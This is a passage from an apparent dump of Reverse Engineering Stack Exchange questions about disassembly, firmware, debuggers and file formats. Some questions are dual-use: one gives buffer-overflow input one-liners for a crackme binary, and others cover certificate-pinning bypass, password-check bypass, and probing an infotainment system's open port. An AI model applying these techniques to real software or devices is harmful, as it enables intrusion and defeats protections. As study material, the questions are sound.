starter-help on reverse-engineering a game algorithmBody: I've got a dataset of about 1700 attacks in this game. A subset of the data is provided here. It consists of 9 columns: +
+ + + + + + + + + + + + + + +
modifierAstrAspdAdexAdefDstrDspdDdexDdef
+
+The modifier is in a range of 1 to 3 depending on the ratio between the attackers-stats (Astr, Aspd, Adex, Adef) and the defenders stats. +This sounds like a simple regression, but there is a layer of obscurenment where the player's stats are reduced depending on how balanced they are. +So we have a "score" which is less than the sum if the stats are unbalanced - like having wayy more strength than defense. +I've tried countless different ways to make this adjustment in Excel, but I'm unable to find a good match. Secondly, the values are bound to be rounded, sometimes up and sometimes down. We don't know. The rounding can be on the sum, the score, the resulting ratio and so on. +This is the best result from messing around in Excel: Score = SUM - STDEV. This provides a decent fit, but it kinda breaks down in the most extreme cases (1 stat that is multiple orders of magnitude greater or smaller than the rest. +I'm looking for any ideas or pointers in which direction I can look to solve this? In my head, this is something to throw through a neural network, but I've got no experience with that. I prefer to work with Python if this is a direction I should look. +" +['decompress']," Title: Decompressing XML file with unknown compression methodBody: Would there be anyway at all to determine the compression method used for this XML file given only the compressed XML? +I've looked into different XML compression methods such as EXI, but can't seem to be able to decode this. +It's a vehicle XML file from the game stormworks, they recently updated the game so dedicated servers compress vehicle files to save storage space and for faster file transfer times between the server and clients. We had planned to create a sub-system of our server management program that parsed the blocks used in the vehicle to determine what blocks and how many were used. +Here is the compressed XML in plain text: https://pastebin.com/zSg7DrF3 and on dropbox: https://www.dropbox.com/s/yufpcxxx8utuo57/vehicle.bin?dl=0 +Thanks +" +"['firmware', 'firmware-analysis', 'flash', 'rom']"," Title: Trouble backing up rom on locked proprietary mediatek device - mt8163 chipsetBody: I have a proprietary tablet with mediatek chipset MT8163v, and getting the factory ROM and/or scatter file is out of the question. My goal is to flash with TWRP. +The device has a custom android repo that doesn't allow me to install apps or anything of that nature, so I can't go that route. +I'm trying to do a readback of the preloader partition with spflash tool, then use WwR to generate the scatter. The details of how this works can be found here. It's pretty simple. +When I attempt the readback, I'm getting this error: +
s_dl_get_dram_setting_fail(5054)
+
+Everything I've read indicates that this is due to an incorrect scatter file. However, just to be safe, I used a secure boot bypass found here just to make certain that secure boot isn't the problem. With the bypass however, I get the same error. +From everything I've read, a readback is the one thing I should be able to do without the factory rom/scatter files. Which is why I'm perplexed as to why I'm getting this error when doing a simple readback. +I've even payed the tech guys at Hovatek (who were very helpful) to help work on this. We tried the newest Infinity Box with dongle as well, to no avail. +Here is the partition info in the scatter generated by WwR: +
- partition_index: SYS0
+partition_name: PRELOADER
+file_name: preloader.bin
+is_download: true
+type: SV5_BL_BIN
+linear_start_addr: 0x0
+physical_start_addr: 0x0
+partition_size: 0x80000
+region: EMMC_BOOT_1
+storage: HW_STORAGE_EMMC
+boundary_check: true
+is_reserved: false
+operation_type: BOOTLOADERS
+reserve: 0x00
+
+Seems to me the only variable properties are physical_start_addr and partition_size. However, it seems that when I look at scatter files for other mediatek chipsets, it's always either 0x80000 or 0x40000. And from what I've read this shouldn't matter just doing a readback. But I've tried both to no avail. +Does anyone know anything else I could try?? I'm even willing to try ROMs from other devices with the same chipset. At this point I don't care if I brick it. +" +"['disassembly', 'debugging', 'gdb', 'static-analysis', 'buffer-overflow']"," Title: Using GDB to find the address of a buffer in a stripped C binaryBody: I am working with a crackmes binary called Simple Overflow. It has two buffers with sizes 0x10 and 0x8, and it uses malloc to allocate two contiguous memory blocks (see <+25> and <+39> on the screenshot). + +A solution provided by escalatedquickly stated that “By debugging the program we can see where on the heap the two buffers are allocated. In my case, they are allocated at ‘0x000056050A21F670’ and ‘0x000056050A21F690’ respectively”. I’ve searched how to get these addresses, but I have only found solutions for cases when the variable names are known (e.g., here and here). +How do I find the buffers’ addresses in GDB to replicate what escalatedquickly did? +" +"['android', 'networking', 'security', 'unknown-data']"," Title: How to read data from android.car.clusterBody: While performing a vulnerability scan for open ports of an Android Automotive Infotainment system, I found out that port 5151 is open. Doing a netcat on the open port, reveals a continuous stream of unreadable data. +
kali:~$ nc 192.168.x.x 5151       //IP of infotainment system
+7ò”°R YJøOæÝ½9^çÆC€E†éúaI™íÐåY—
+...
+... 
+
+Here is a link to the file that contains data read from the port : android-port-5151 +Since I had the root access to the Android system, I could find out that this data is related to android.car.cluster. +
console:/ # netstat -ltpu                                                  
+Active Internet connections (only servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program Name
+tcp6       0      0 :::pcrd                 :::*                    LISTEN      4473/android.car.cluster
+
+Now my question is, whether there is a way to read this data that is being pushed to the port 5151. +for eg. some client application, that I can install on my Kali Machine to read the data on the port. I believe this data might include some critical information about cluster like speed readings, indicators, etc. +Android version used : android-10.0.0_r20. +Kali Machine and Infotainment system are on the same local network. +" +"['ida', 'binary-analysis', 'ghidra', 'disassemblers', 'decompiler']"," Title: Why do reversers nowadays reverse engineer using decompilers and not disassemblers?Body: I see many reverse engineering lessons and every second person does reverse engineer using Ghidra decompiler and not disassembler as both are available in the same platform. I assume that reversing using decompiler is easy than disassembler(understanding the assembly of the code). Do I'm thinking right? +let's say I'm using Ghidra then when should I see disassembler and when decompiler? +Plus If we have now a free decompiler available in Ghidra then the need for a disassembler is gone and there is no need of understanding the assembly when we have a decompiler? +" +"['firmware', 'binwalk']"," Title: Grundfos FirmwareBody: I am trying to understand the firmware of a Grundfos CIM 500 product. +The CIM 500 is a control module for grundfos pumps which uses a web interface. +From binwalk I have found that it is running eCos, but I have a very hard to to extract any information, file structure, ram file, disk images or anything of that matter. +I was hoping someone here with more experience with firmware analysis could give some help with what this firmware is, if it is compressed/encrypted, what kind of architecture the module is running, and how i could get more information from it. +I have viewed it in a hex editor and found traces of HTML, but no files or informative file headers. +The firmware is available on the Grundfos software page (https://www.grundfos.com/dk/support/software), or directly here: +https://www.grundfos.com/content/dam/local/da-dk/page-assets/support/software/documents/firmware-CIM500-V06.18.07-gdk-da.zip +" +['ida']," Title: IDA Pro doesnt read updated exeBody: When I change/update the disassembled exe (like when I rebuild it) then IDA doesn't update the exe. +Thanks in advance, +Best regards, +Adi. +" +"['disassembly', 'debugging', 'static-analysis', 'buffer-overflow', 'crackme']"," Title: Difference between \n, \0, \x00 and data from /dev/zero when performing a buffer overflow?Body: I am working with a binary that involves a buffer overflow on two contiguous memory blocks allocated with malloc. The binary filles up the first buffer with whatever the user inputs and hardcodes the second buffer to 1. There are a couple of solutions for this challenge that I do not understand. Please, consider the following: +
    +
  1. python3 -c "print('A' * 32 + '\x00' * 4)" | ./simple_overflow
  2. +
  3. python3 -c "print('A' * 31 + '\n')" | ./simple_overflow
  4. +
  5. perl -e "print \"A\" x 32 . \"\0\"" | ./simple_overflow
  6. +
  7. head -c 33 /dev/zero > input && ./simple_overflow < input
  8. +
+The first solution is straight forward. It writes 32 bytes into the first buffer and then four null bytes into the second one. Writing 4 bytes makes sense since integers are 4 bytes in size. However, the second answer only writes 31 bytes plus '\n', and the third and fourth solutions use 33 bytes. The three of them work correctly (see screenshot). + +If you need to check the asm associated with this binary please see here. +Why do solutions 2 to 4 work? Are \n and \0 internally considered integers? What about \x00? +Note: solutions provided by users nicknamed h0un6, bottonim and escalatedquickly. +" +"['windows', 'encryption', 'windbg', 'encodings', 'strings']"," Title: How to find encrypted strings in an executable?Body: I am trying to reverse engineer an executable. +I am using Process explorer to dump all strings present in the exe image, and from the process's RAM when it is running. + +The two dumps return a different number of strings, with the latter (from RAM) returning a much greater number of them. +This discrepancy could mean one of the following. +
    +
  1. Executable is encrypted (a packer is used?)
  2. +
  3. Executable is compressed
  4. +
  5. Strings are encrypted/obfuscated
  6. +
  7. Strings are coming from a DLL loaded by the process, or a file opened by it.
  8. +
+I used various tools to rule out 1, and 2. These tools check file entropy and do other statistical checks to figure this out. +Some of the tools I used: +
    +
  1. Check which packer is being used: https://www.aldeid.com/wiki/PEiD
  2. +
  3. Statistical analysis for enccryption/compression - binwalk -EJ <exe-name>, https://github.com/kiathan/Encryption-Detector
  4. +
+To rule out 4 I used process explorer to check each open file handle and loaded DLL. Found nothing suspicious. +For 3, I proceeded as follows. +I attached process to WinDbg, and tried to search for a string from RAM string dump obtained from process explorer. +
eg. searching for string "--control". +s -a 0 L?80000000 "--control" +This string was present at location 014ebbf5. +To figure out what kind of memory this address is present in, I used WinDbg's !address command. +Here is the output I got. +

+Usage:                  Image
+Base Address:           01165000
+End Address:            01560000
+Region Size:            003fb000 (   3.980 MB)
+State:                  00001000          MEM_COMMIT
+Protect:                00000002          PAGE_READONLY
+Type:                   01000000          MEM_IMAGE
+Allocation Base:        00c70000
+Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
+Image Path:             C:\Program Files (x86)\<exe-path>.exe
+Module Name:            <exe-name>
+Loaded Image Name:      C:\Program Files (x86)\<exe-path>.exe
+Mapped Image Name:      
+More info:              lmv m <exe-name>
+More info:              !lmi <exe-name>
+More info:              ln 0x14ecbf5
+More info:              !dh 0xc70000
+
+
+Content source: 1 (target), length: 7340b
+
+I was expecting this to be an address from stack or from heap, but it is instead from the process's READ ONLY area where memory-mapped file of the executable is present. A read only area cannot store decoded string since you would have to read encoded strings, decode it, and then write them somewhere. +At this point I feel that neither the exe is encrypted, nor compressed, and neither the strings are encoded/encrypted. Still, somehow a lot of strings are not present in the exe, but present in the RAM. +How can this be possible? +" +"['android', 'apk']"," Title: Android app Viber (com.viber.voip) mitmBody: I want to see what viber is sending out of my android phone, I'm using mitm proxy (custom server) but the app is using certificate pining to detect the proxy and close the connection after the handshake is done. +I know the basic method of patching OkHttp's CertificatePinner. +The problem with viber is that they went to extreme lengths to hide the pinning. +Most apps I have seen were easy to patch, and the signature or the cert was not hidden. +I found around 7 keystores (bks) in the app, but no calls to CertificatePinner, no sha1/ or sha256/ signatures. am I missing something? +I also looked for Custom TrustManagers but could not find anything useful, mostly because the app is full of ads, (google, facebook, yandex, adjust.com, ...) some of these ad libraries have their own certificates and keystores +Any ideas on how the app is pinning the certificate? did I miss something? +(PS: this is for research purposes only) +" +"['ida', 'decompilation', 'c++', 'obfuscation', 'exe']"," Title: What are the way I can reverse engineer an obfuscated C++ program?Body: I am reverse engineering an program. I encountered a problem where I can't reverse engineer it as the program code is obfuscated. I realised the program is obfuscated thanks to my friend who noticed that the program is obfuscated thanks to him seeing him what IDA showed. My friend is telling me that the program is using virtualization as form of obfuscation. +What can I do to reverse engineer the obfuscated program? +" +"['disassembly', 'assembly', 'decompilation', 'disassemblers', 'byte-code']"," Title: Is the code like this reverse able? (from Assembly - UnityScript)Body: +i try to reverse this code but cant figure it out what is this number mean or how to call it... +" +"['ida', 'disassembly', 'windows']"," Title: Disassembling Hello World program in IDABody: I've de-compiled in IDA 7.0 (freeware version) such a simple c program (compiled in the Microsoft Visual Studio Community 2019): +
#include <stdio.h>
+#include <string.h >
+
+char* sayHello(char* resultStr, char* addedStr) {
+  strcat_s(resultStr, strlen(resultStr)+strlen(addedStr)+1, addedStr);
+  return resultStr;
+}
+
+int main() {
+  char str_in_1[100] = "Hello"; 
+  char str_in_2[] = " World!";
+
+  printf ("%s", sayHello(str_in_1, str_in_2));
+}
+
+Now i can't find the string sayHello (function name) either in the Functions window nor in the IDA View-A. How to find out w +" +"['c', 'executable', 'exe', 'machine-code']"," Title: How to extract machine code from a file(especially executable) in CBody: How to get machine code of a file(mainly executables) in C? +I have written a C program to convert machine code to assembly. But how to get machine code of a file? How would I go about programming a c program to convert a file to machine code? +" +"['ida', 'windows', 'pe', 'executable']"," Title: Pe file code starting addressBody: When i load an exe in the IDA the assembled code always starts at 00401000 address. Does it mean that in pe files the code always starts at that specific address? +" +"['binary-analysis', 'idapython', 'pe', 'idapro-sdk']"," Title: IDAPython NtCreateFileBody: Let's say I want to print the filenames on every call to NtCreateFile +(With %any% exe loaded in IDA ) +
+The first problem is to get the ntdll!NtCreateFile address +Tried to do it like this get_name_ea_simple('ntdll_NtCreateFile') but "module 'ntdll' has no names" +Although the call get_name_ea_simple('kernel32_CreateFileW') works just fine: 0x770d08d0 +(if debugger paused on executable EP) +And here is second problem - exec script commands after debugger loads all modules info. +If I do something like: +
run_to(get_inf_attr(INF_MIN_EA)) # start the debugger and execute to the entry point
+CreateFileW = get_name_ea_simple('kernel32_CreateFileW')
+    if CreateFileW == BADADDR:
+        warning('kernel32_CreateFileW is null')
+        return
+
+I'll get my warning. +So how to do it right? +
+IDA 7.5 +Added +I found out that if we stop at the entry point and manually load symbols for ntdll, then the following command works get_name_ea_simple('ZwCreateFile') +" +"['binary', 'hopper']"," Title: How to get the functions that call or access a string in Binary Ninja?Body: I am reversing engineering a program. Right now I was using Hopper. +With Hopper once I find a string I can right click and I have an option call "References to ..." +that will return a list of functions that call or access this data. + +When I try to use Binary Ninja. I find the string then I noticed that "Cross Reference" is empty. This is the main reason I don't use Binary Ninja but I want to use it because there are other things I really like. + +Anybody knows if I have to check any specific option or do anything special to get the same result? +" +"['javascript', 'assembly']"," Title: Disassembly a win Linux fileBody: I have a file that has a compiled assembly code and being loaded into javascript code for execution. +How can I “inspect” the file? I am aware of tools like immunity debugger or ollydbg but I am not sure they can help me here. +How can I see or evaluate the contents of that file? +" +"['android', 'apk']"," Title: how to change app name and package name of an apk?Body: I decompiled an apk and I made a couple of modifications. When I tried to recompile it I got that error : +
Compiling APK file...
+
+/c "java -Xmx1024m -jar "C:\Program Files (x86)\APK Easy Tool\Apktool\apktool_2.4.1.jar" b -f -o "C:\Users\asus\Documents\APK Easy Tool\2-Recompiled APKs\b83ba6fc.apk" "C:\Users\asus\Documents\APK Easy Tool\1-Decompiled APKs\{b83ba6fc-4bdd-4c0b-badb-d3d46d6248ea}" "
+
+I: Using Apktool 2.4.1
+I: Smaling smali folder into classes.dex...
+I: Smaling smali_assets folder into assets.dex...
+..\..\..\Users\asus\Documents\APK Easy Tool\1-Decompiled APKs\{b83ba6fc-4bdd-4c0b-badb-d3d46d6248ea}\smali_assets\com\facebook\ads\internal\androidx\support\v4\view\AbsSavedState$1.smali[13,11] Class Lcom/facebook/ads/internal/androidx/support/v4/view/AbsSavedState$1; has already been interned
+Could not smali file: com/facebook/ads/internal/androidx/support/v4/view/AbsSavedState$1.smali
+
+
+
+------------------------------------------
+
+This is the apk easy tool log output. +after making those changes : + +" +"['ida', 'idapython']"," Title: propagate manually set types to redefine a function in IDA pro?Body: Is there anyway in IDA pro to propagate manually set types of variables to redefine function arguments? +for example lets say IDA thinks Func1 takes 4 int as INPUT, now when i set the type of these 4 variables to something else, i have to again manually do this inside the function as well, and so on.. is there anyway to fix this? i tried reanalyzing but still they didnt propagate +" +"['ida', 'windows', 'pe', 'exe']"," Title: idb file and IDABody: I've just received from a friend a *.idb file concerning the pe file i'd like to disassemble in IDA. What the file is and how can i load/use it with the exe linked with it in IDA? +" +"['disassembly', 'binary-analysis', 'c', 'static-analysis', 'disassemblers']"," Title: Not able to understand the C-switch statement in disassemblyBody: While I'm trying to disassemble my own C code I am stuck in a problem of not understanding how this Switch statement is implemented in assembly code. Can anyone please help to figure it out? This the switch assembly. Couldn't understand why so many registers are being used plus at the last line it's written "jmp dword ptr [eax4+0A110E8h]". Is this eax4 necessary for switch in assembly or did by the disassembler on its own? + +My C Code: +
main() {
+  int a;
+  printf("Please enter a no between 1 and 5: ");
+  scanf("%d", & a);
+  switch (a) {
+  case 1:
+    printf("You chose One");
+    break;
+  case 2:
+    printf("You chose Two");
+    break;
+  case 3:
+    printf("You chose Three");
+    break;
+  case 4:
+    printf("You chose Four");
+    break;
+  case 5:
+    printf("You chose Five.");
+    break;
+  default:
+    printf("Invalid Choice. Enter a no between 1 and 5");
+    break;
+  }
+}
+
+" +"['ida', 'debugging', 'kernel']"," Title: Load an IDB file when debugging kernel to get the function names in IDA?Body: I am debugging a windows kernel, and i have already analyzed some modules and have their IDB files. +Now is there anyway that i can somehow "map" these IDB files to their corresponding loaded location in kernel so i can get their function names? there are multiple IDB files that can get loaded anywhere in memory. +" +['windbg']," Title: Defining frame manually windbgBody: I wonder why defining frame manually keeps failing on range error. +As far as I understand the syntax is : +.frame /c = BASE STACK RIP where if inside MyFunc there is a call OtherFunc, the RIP should be the next instruction after call OtherFunc, say in MyFunc+0x14. +And the stack looks like this +
              MyFunc+0x14  
+BASE/STACK -> ..
+              ..
+STACK/BASE -> ..
+              RetFromMyFunc 
+
+and STACK/BASE refer to those addresses in stack. I couldn't figure out which is which but tried both options and many others. Why does it fail? +It is x64 of course. +Thanks. +" +"['windows', 'ghidra', 'javascript']"," Title: Confusion about if statement in disassemblyBody: I recently got into reverse engineering applications for fun. Can someone please help me with this if statement. +
140005914  75  38         JNZ       LAB_14000594e
+140005916  48  8b  4      MOV       RCX, qword ptr [RSP + 0x58]
+14000591b  48  8d  0      LEA       RAX, [s_ELECTRON_ENABLE_LOGGING_1460]      ;  = "ELECTRON_ENABLE_LOGG
+140005922  48  8d  5      LEA       RDX, [RSP + 0x48]
+140005927  48  89  02     MOV       qword ptr [RDX], RAX => s_ELECTRON_ENA    ;  = "ELECTRON_ENABLE_LOGG
+14000592a  48  c7  4      MOV       qword ptr [RDX + 0x8], 0x17
+140005932  48  8b  01     MOV       RAX, qword ptr [RCX]
+140005935  ff  50  10     CALL      qword ptr [RAX + 0x10]
+140005938  84  c0         TEST      AL, AL
+14000593a  75  12         JNZ       LAB_14000594e
+14000593c  c7  44  2      MOV       dword ptr [RSP + 0x60], 0x0
+140005944  b9  04  0      MOV       ECX, 0x4
+140005949  e8  02  7      CALL      FUN_14256cd50                              ;  undefined FUN_14256cd50
+
+Which according to Ghidra decompiles to the following.I would like to change it from =='\0' to =='\1'. I know Test AL, AL is doing a comparison, but where does the 0 in the if statement comes from? +
if ((char)uVar8 == '\0') {
+    pcStack144 = "ELECTRON_ENABLE_LOGGING";
+    uStack136 = 0x17;
+    cVar4 = (**(code **)(*ppcStack128 + 0x10))();
+    if (cVar4 == '\0') {
+      auStack120[0] = 0;
+      FUN_14256cd50(4);
+    }
+  }
+
+Thanks in advance. +" +"['windows', 'sniffing', 'proxy']"," Title: Program closes when running Charles proxyBody: I came across an program that closes itself when I run Charles proxy and if I'm running charles before the progran it won't run. Anyone know what type of security if this and can it be reversed? +Thanks in advance +" +"['file-format', 'unpacking', 'decompress', 'c#']"," Title: Reverse engineering a .byte file formatBody: I've dug into files of a game that was made in Unity (which uses C# language)... and i was interested in extracting 3D models and textures etc. I understand that data and obb are separate, BUT! In my case, both of these have the same contents. Half textures are in data and half in obb.. i've been able to extract from data, but i came to a stop when i looked inside obb. +What i saw was a file named res.bytes, and i've been looking for ways to open/extract from a byte format but in the end it led me to scripting. Yes i've tried reverse engineering tools and other simple methods such as renaming it to .zip... no luck. +If there's anyone who knows how to open this byte file with a script i'd appreciate it. +" +"['memory', 'networking', 'api-reversing']"," Title: API-Monitor not logging bufferBody: I have a problem with API-Monitor. +When I try to capture data (here: network traffic), API-Monitor doesn't log the buffer from the recieved data. For send() it works well, but for recv() it doesn't show the buffer. I really don't know why this is happening. Both buffers reside in a valid memory space before and after the call. +I think its either because API-Monitor doesn't recogonize the size of the buffer and therefore doesn't capture the content or it only monitors const char* types of buffers (idk why but thats the difference between the singature of the two functions). +Here are some images: + +it works with send(). It logs all the data that was sent + +and here it says "Not Avaliable". Nothing shows up in the buffer-viewer. The return-value ist 5 so we can be sure that actually data was written into the buffer. +" +"['ida', 'windows', 'binary-analysis', 'binary-format']"," Title: How to Find Password/ Bypass Password in a Switch Statement using IDABody: I'm new to reverse engineering, wondering how access or bypass the password contained in the switch statement ? + +File Link +" +"['disassembly', 'assembly', 'debugging', 'binary-analysis', 'c']"," Title: Why compiler is doing this?Body: While I was disassembling my own C code for practice I saw an interesting point which I want to share with you guys and needs to know the answer as I always get from here. Now, the interesting point is when I'm disassembling for switch cases when I'm making cases for one-digit numbers like 1, 2, etc. the disassembler is using jump-table for them but when I'm making cases for digits with zeroes like 10, 200, 300, etc. I'm seeing the disassembly with no jump-table but only a bunch of CMPs and JCCs one after another. I can't figure out why it's doing this but it's very interesting, can anyone tell me why? My two codes... +
int number=5;
+switch (number) {
+case 1:
+case 2:
+case 3:
+ printf("One, Two, or Three.\n");
+ break;
+case 4:
+case 5:
+case 6:
+ printf("Four, Five, or Six.\n");
+ break;
+default:
+ printf("Greater than Six.\n");}}
+
+and disassembly for it... + +now the code but with cases with numbers like 200, etc. +
int number=500;
+switch (number) {
+case 100:
+case 200:
+case 300:
+ printf("100, 200, or 300.\n");
+ break;
+case 400:
+case 500:
+case 600:
+ printf("400, 500, or 600.\n");
+ break;
+default:
+ printf("Greater than Six.\n");}}
+
+and disassembly for it... + +it seems so chatty. +Thanks in advance! +" +"['android', 'encryption', 'java']"," Title: Java Help Understanding RSA Encrypt/Decrypt file and SD cardBody: I was directed this way from the main superuser site: +I have zero experience with Java or Android apps (I have coding experience in C) and tried reverse engineering a [now defunct/unsupported] app which would take a serial number* and encrypt it using RSA with PKCS1Padding. +I'm happy to share what I have, as the creator is uncontactable, and only a very selected few people have files (or access to the software) in relation to this, so the key can be 'in the wild'. What I believe to be the code is below... I roughly understand what it is doing. +
.class public Lcom/h1dd3n/securefiles/Keygen;
+.super Ljava/lang/Object;
+.source "Keygen.java"
+
+
+# static fields
+.field static key:Ljava/lang/String;
+
+.field static modulus:Ljava/math/BigInteger;
+
+.field static pubExp:Ljava/math/BigInteger;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .locals 3
+
+    .prologue
+    const/16 v2, 0x10
+
+    .line 15
+    const-string v0, "00FB451D3F45D82B92FC6F243D50441DD75F2DB995842A3D389FC4536A27F42242C9C8DCB4DA0E2573E5CA2E5D0A2AD7E790D8A79CAC2DE68BEAF99D21E229A9CF04ABD09D61C8C66C4FE3B32456496305792FF9D2D2198B87BFAB2637518C1D3F44D27B93EF2C0ED3379993D04944EB356D4BDE343017CFB13405B403A3D81D2C7B099AE5651CF14DD3CBE21C435076F244D9DA8F54DA19BA6301AF1F7DA699E2EBFD9C0BB2778D812E8D9BE66089B2783B9E60FA28FA83CD3B356669BC15BC84058FEEE493CCFBE2E13E0B53B01886D47EB75BFC75758A5CFA5A1836E697FD51846578B4BDEDE3A6BD1FE4D49ABAC072AED433AC5A19BF94C9F6C7F4D95740EF"
+
+    sput-object v0, Lcom/h1dd3n/securefiles/Keygen;->key:Ljava/lang/String;
+
+    .line 16
+    new-instance v0, Ljava/math/BigInteger;
+
+    sget-object v1, Lcom/h1dd3n/securefiles/Keygen;->key:Ljava/lang/String;
+
+    invoke-direct {v0, v1, v2}, Ljava/math/BigInteger;-><init>(Ljava/lang/String;I)V
+
+    sput-object v0, Lcom/h1dd3n/securefiles/Keygen;->modulus:Ljava/math/BigInteger;
+
+    .line 17
+    new-instance v0, Ljava/math/BigInteger;
+
+    const-string v1, "010001"
+
+    invoke-direct {v0, v1, v2}, Ljava/math/BigInteger;-><init>(Ljava/lang/String;I)V
+
+    sput-object v0, Lcom/h1dd3n/securefiles/Keygen;->pubExp:Ljava/math/BigInteger;
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .locals 0
+
+    .prologue
+    .line 14
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static encrypt(Ljava/lang/String;)[B
+    .locals 7
+    .param p0, "text"    # Ljava/lang/String;
+
+    .prologue
+    .line 23
+    :try_start_0
+    new-instance v2, Ljava/security/spec/RSAPublicKeySpec;
+
+    sget-object v5, Lcom/h1dd3n/securefiles/Keygen;->modulus:Ljava/math/BigInteger;
+
+    sget-object v6, Lcom/h1dd3n/securefiles/Keygen;->pubExp:Ljava/math/BigInteger;
+
+    invoke-direct {v2, v5, v6}, Ljava/security/spec/RSAPublicKeySpec;-><init>(Ljava/math/BigInteger;Ljava/math/BigInteger;)V
+
+    .line 24
+    .local v2, "keySpec":Ljava/security/spec/RSAPublicKeySpec;
+    const-string v5, "RSA"
+
+    invoke-static {v5}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
+
+    move-result-object v3
+
+    .line 25
+    .local v3, "kf":Ljava/security/KeyFactory;
+    invoke-virtual {v3, v2}, Ljava/security/KeyFactory;->generatePublic(Ljava/security/spec/KeySpec;)Ljava/security/PublicKey;
+
+    move-result-object v4
+
+    .line 27
+    .local v4, "publicKey":Ljava/security/PublicKey;
+    const-string v5, "RSA/ECB/PKCS1Padding"
+
+    invoke-static {v5}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;
+
+    move-result-object v0
+
+    .line 28
+    .local v0, "cipher":Ljavax/crypto/Cipher;
+    const/4 v5, 0x1
+
+    invoke-virtual {v0, v5, v4}, Ljavax/crypto/Cipher;->init(ILjava/security/Key;)V
+
+    .line 29
+    invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B
+
+    move-result-object v5
+
+    invoke-virtual {v0, v5}, Ljavax/crypto/Cipher;->doFinal([B)[B
+    :try_end_0
+    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+    move-result-object v5
+
+    .line 35
+    .end local v0    # "cipher":Ljavax/crypto/Cipher;
+    .end local v2    # "keySpec":Ljava/security/spec/RSAPublicKeySpec;
+    .end local v3    # "kf":Ljava/security/KeyFactory;
+    .end local v4    # "publicKey":Ljava/security/PublicKey;
+    :goto_0
+    return-object v5
+
+    .line 31
+    :catch_0
+    move-exception v1
+
+    .line 33
+    .local v1, "e":Ljava/lang/Exception;
+    invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
+
+    .line 35
+    const/4 v5, 0x0
+
+    goto :goto_0
+.end method
+
+Now I have a file of which I wish to view the original contents that was encrypted using this method. +How on earth do I do that? I'd also be interested in creating new files in a similar way on a Windows based system if possible... +Full APK source (minus resources as some confidential stuff in there) is available here (it only worked on some v5/v6 Android devices) +File I wish to decrypt is [here] +the file is generated in SecureKeySource\smali\com\tmsec\securedisk\Activator and saved onto the SD Card. +Serial number is the manufacturer's data from an SD card which is then encrypted and used by another piece of software to allow access. The device was password write protected to prevent deletion/formatting. If you lost this SD card you were screwed as you couldn't access the programs! The device would be checked and deny access if there was a data mismatch. This was the most secure method on an extremely low budget that was thought of at the time of creation - a few years back now; why they did it this way I do not know... I have key backups but no way of associating them with cards or no methods of creating new cards without buying old android tablets/phones and hoping they work with microSD cards (no idea how they originally did it on normal SD cards!! OTG adapters don't seem to show the manufacturer data?). I do have the password to remove write access allowing the cards to be formatted however as that was recorded at least. +I was hoping that (looking at the extracted source code) there would be some sort of KeyGenerator class where I could enter the new ID as a string and then run. +" +"['game-hacking', 'code-modeling']"," Title: Reverse engineering PS2 Naruto 3D Model FormatBody: As a personal project, I've been trying to reverse engineer the model for a Naruto PS2 game, but to no success in trying to visualize vertex data and faces with Model Ressearcher, and the .OBJ extraction using PCSX2 didn't work either, since it uses culling. Could you guys please help me out? thanks in advance. +Samples: https://drive.google.com/file/d/1AIwxQT7cg9l2PO1N_0zm1rXhUpyp1y0_/view?usp=sharing +" +['packers']," Title: Packers Material for learn how to unpack softwareBody: I would like to known where i can found guides to learn how to unpack packers like Themida, Armadillo, VMProtect, etc. I was searching challenges and guides but i could not found for packers, only other types of challenges. I have to learn how unpack that type of software, i'm new in this world of RE but i need to learn this. Thanks in advance. +" +"['ida', 'disassembly', 'pe', 'memory', 'segmentation']"," Title: Expanding .data section at particular areaBody: I have a program which creates a hard-coded number of objects. I patched the binary so that now it can attempt to create more objects than the limit allows, however when it does it allocates them to memory that wasn't supposed to be originally written to in the .data section. Here's an illustration: + +I'm wondering what approach I should use tackle this. Right now, I used CFF Explorer to create a an exact copy of the .data section, called .dataex, which has double the size of .data, and put it at the end of the binary: + +My initial thought was that there is possibly some way to "shift" the references down so that the program will use the ones in .dataex, and then do another "shift", but this time only from .dataex + n. That way, there is more free space which the program can use to create new objects. +I realise I may be missing/overlooking/misunderstanding many things here, so please let me know if what I want to do is even possible, or if there exists a simpler solution. +" +"['law', 'copy-protection']"," Title: Reverse engineering and copyright?Body: I am surprised this question is not asked by anyone else yet. +Legally, which software -- aside from open source software -- am I able to explore to basically enhance my knowledge of how computer systems work? I would like to add that I am not interested in doing something professional or advanced more suitable to the employees of IT industry. I just want to make myself more intelligent and knowledgeable, possibly delaying dementia and preventing chronic diseases. That is, I am not interested in maintaining virtual machines to reverse engineer malware/illegal software. Thank you. +" +"['windows', '.net', 'c#']"," Title: Where are the .NET IL bytes stored in an .NET executable?Body: When i compile a c# code, it compiles into a .NET executable, that only imports _CorExeMain from mscoree.dll, now my questions are : +
    +
  1. Is _CorExeMain the interpreter that fetches ILs and executes their corresponding x86 code just like VMprotect, etc? +
  2. +
  3. Where are the IL bytes actually stored? they seem to be stored in the .text section, but i couldn't find any tool that can find the location that they are stored. where are they stored? +
  4. +
+" +"['disassembly', 'c++', 'static-analysis', 'virtual-functions']"," Title: Why this ASM represents Virtual Function call?Body: I'm referring to this question that was asked previously: +Virtual functions call asm +I'm wondering how is it possible to know whether this ASM listing represents Virtual Functions calls? What's in the ASM mentioned in the question linked above that tells that this is Virtual Function call? +" +"['assembly', 'arm']"," Title: Help with LDR, LDRD and STR instructionsBody: The Cortex™-M3 Devices Generic User Guide explains the instruction LDRD R8, R9, [R3, #0x20] as "Load R8 from a word 8 bytes above the address in R3, and load R9 from a word 9 bytes above the address in R3". I would like to ask why 0x20 equals to 8 bytes and not 32 bytes? +The guide explains the instruction LDRNE R2, [R5, #960]! as "Loads (conditionally) R2 from a word 960 bytes above the address in R5, and increments R5 by 960". Is the value or the address of R2 updated? Is the value or address of R5 incremented? +The guide explains the instruction STRH R3, [R4], #4 as "Store R3 as halfword data into address in R4, then increment R4 by 4". Is the value or address of R4 incremented? +" +"['disassembly', 'windows', 'binary-analysis', 